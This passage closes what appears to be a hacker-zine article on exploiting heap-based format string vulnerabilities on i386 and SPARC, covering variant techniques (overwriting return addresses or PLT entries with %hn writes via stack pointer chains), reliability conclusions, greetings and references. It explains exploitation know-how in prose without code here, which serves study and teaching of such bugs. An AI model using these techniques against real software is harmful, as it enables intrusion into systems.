0xdfbfddf0:     0xaabbccdd
```

Apparently it does work after all :-)

There are some interesting variants. In this example, printf() is not called from main(), but from do_printf(). This is an artifact so we had 3 frames to play with. If the printf() is directly in main(), you will not have three frames, but you could do just the same using argv and *argv, as the only real things you need are a pointer in the stack, pointing to another pointer in the stack pointing somewhere in the stack.

Another interesting method (probably even more interesting than the original), is to target not a function pointer but a return address in stack. This method will be a lot shorter (just 2 %hn per short to write, and only 2 frames needed), a lot of addresses could be bruteforced at the same time, and of course, you could use a jumpcode if you want.

This time We'll leave the experimentation with this two variantes (and others) to the reader.

It is noteworthy, that with this technique in i386, Frame B breaks the chain of the stack frames, so if the program you're exploiting needs to use Frame C, it's probably that it will segfault, hence you'll need to hook the execution flow before the crash.

## --[ 10. conclusions

### --[ 10.1. is it dangerous to overwrite the l0 (on the stack frame) ?

This is not perfect, but practice shows that you will not have many problems in changing the value of l0. But, would you be unlucky, you may prefer to modify the l0's that belongs to main()'s and _start()'s stack frames.

### --[ 10.2. is it dangerous to overwrite the ebp (on the stack frame) ?

Yes, it's very dangerous. Probably your program will crash. But as we saw, you can restore the original ebp value using the pointer generator :-) And as in the SPARC case, you may prefer to modify the ebp's that belongs to the main(), _start(), etc, stack frames.

### --[ 10.3. is this reliable ?

If you know the state of the stack, or if you know the sizes of the stack frames, it is reliable. Otherwise, unless the situation lets you implement some smooth way of bruteforcing all the numbers needed, this technique won't help you much.

I think when you have to overwrite values that are located in addresses that have zeros, this may be your only hope, since, you won't be able to put a zero in your format string (because it will truncate your string).

Also in SPARC, the binaries' PLT are located in low addresses and it is more reliable to overwrite the binary's PLT than the libc's PLT. Why is this so? Because, I would guess, in Solaris libc changes more frequently than the binary that you want to exploit. And probably, the binary you want to exploit will never change!

## --[ The End

## --[ 11. more greets and thanks

gera:

riq, for trying every stupid idea I have and making it real!

juliano, for being our format strings guru.

Impact, for forcing me to spend time thinking about all theese amazing things.

last minute addition: I just learned of the existence of a library called fmtgen, Copyrighted by fish stiqz. It's a format string construction library, and it can be used (as suggested in its Readme), to write jumpcodes or even shellcodes as well as addresses. This are the last lines I'm adding to the article, I wish I had a little more time, to study it, but we are in a hurry, you know :-)

riq:

gera, for finding out how to exploit the heap based format strings in i386, for his ideas, suggestions and fixes.

juliano, for letting me know that I can overwrite, as may times as I want an address using 'direct access', and other tips about format strings.

javier, for helping me in SPARC.

bombi, for trying her best to correct my English.

and bruce, for correcting my English, too.

## --[ 12. references

[1] Exploiting Format String Vulnerability, scut's.
March 2001. http://www.team-teso.net/articles/formatstring

[2] w00w00 on Heap Overflows, Matt Conover (shok) and w00w00 Security Team.
January 1999. http://www.w00w00.org/articles.html

[3] Juliano's badc0ded
http://community.corest.com/~juliano

[4] Google the oracle.
http://www.google.com

|=[ EOF ]=---------------------------------------------------------------=|